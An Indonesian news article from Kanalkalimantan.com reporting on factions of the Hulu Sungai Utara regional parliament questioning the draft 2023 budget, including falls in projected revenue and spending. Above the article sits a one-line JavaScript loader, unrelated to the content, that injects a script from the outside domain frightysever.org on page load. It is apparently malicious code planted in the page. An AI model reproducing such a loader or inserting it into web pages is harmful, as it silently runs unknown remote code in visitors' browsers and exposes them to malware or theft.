(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sejumlah Fraksi di DPRD HSU Berikan Sorotan terkait Raperda APBD 2023

KANALKALIMANTAN.COM, AMUNTAI – DPRD Hulu Sungai Utara (HSU) berikan sorotan serius terhadap Rancangan Peraturan Daerah (Raperda) tentang Anggaran Pendataan Belanja Daerah (APBD) Kabupaten HSU tahun 2023. Hal tersebut tampak saat paripurna dengan agenda Penyampaian Pemandangan Umum Faksi-faksi DPRD HSU yang digelar di ruang rapat DPRD HSU, Senin (17/10/2022).

Di samping menyampaikan pertanyaan terkait program-program prioritas apa saja yang sudah dan akan dilaksanakan oleh pemerintah daerah, beberapa faksi DPRD HSU juga memberikan beberapa atensi agar target Raperda APBD tahun 2023 mengalami peningkatan.

Salah satu tanggapan tersebut disampaikan oleh Ketua Komisi I, sekaligus mewakili faksi Golongan Karya, Hj Noorhananiah.

Dia menyampaikan beberapa poin tanggapan diantaranya mengenai perlunya mengoptimalkan pengelolaan sumber-sumber Pendataan Asli Daerah (PAD) terkait Raperda tentang APBD Tahun Anggaran 2023.

Dikatakannya, bahwa Fraksi Partai Golongan Karya berharap Pemerintah Daerah perlu memberikan kebijakan yang dapat mengoptimalkan pengelolaan sumber-sumber pendapatan daerah. Baik pada aspek pajak daerah maupun retribusi daerah serta aspek-aspek lain yang sah, meski mengalami penurunan estimasi sekitar 8,92persen pendapatan daerah pada APBD tahun 2023.

“Sejalan dengan hal itu, Perihal Kebijakan Umum Pendapatan Daerah, Fraksi Partai Golongan Karya memandang dalam rangka mengoptimalkan pendapatan daerah pula. Seharusnya secara ketat menekan tingkat kebocoran dalam mata rantai pemungutan sehingga peningkatan pendapatan daerah dapat terwujud dan tidak hanya mengandalkan pendapatan yang berasal dari dana transfer,” jelas Hanani.

Sementara terkait belanja daerah, ia berharap dapat memberikan dorongan terhadap perkembangan ekonomi daerah yang memberikan efek bagi peningkatan kesejahteraan rakyat yang lebih merata.

Pasalnya, menurut Hananiah, belanja daerah pada Raperda APBD 2023 mengalami penurunan sebesar 17,84 pesen jika dibanding dengan anggaran belanja daerah pada APBD tahun 2022.

“Awalnya anggaran belanja daerah dalam APBD tahun 2022 sebesar Rp 1,301 triliun, namun pada Raperda APBD tahun 2023 menagalami penurunan menjadi Rp 1,068 triliun,” bebernya.

Ia berharap pemerintah daerah dapat berupaya dan menemukan solusi agar segala kekurangan tidak berpengaruh akan pembangunan kabupaten HSU kedepannya.

Dalam sidang paripurna yang dipimipin langsung oleh Ketua DPRD HSU Almien Ansar Safari, tampak hadir pula pejabat Plh Bupati HSU, Zakir Aswan yang baru ditunjuk menggantikan H Husairi Abdi, usai purna tugas dari Plt Bupati HSU, para kepala SKPD, perwakilan Forkopimda serta para anggota DPRD HSU. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : cell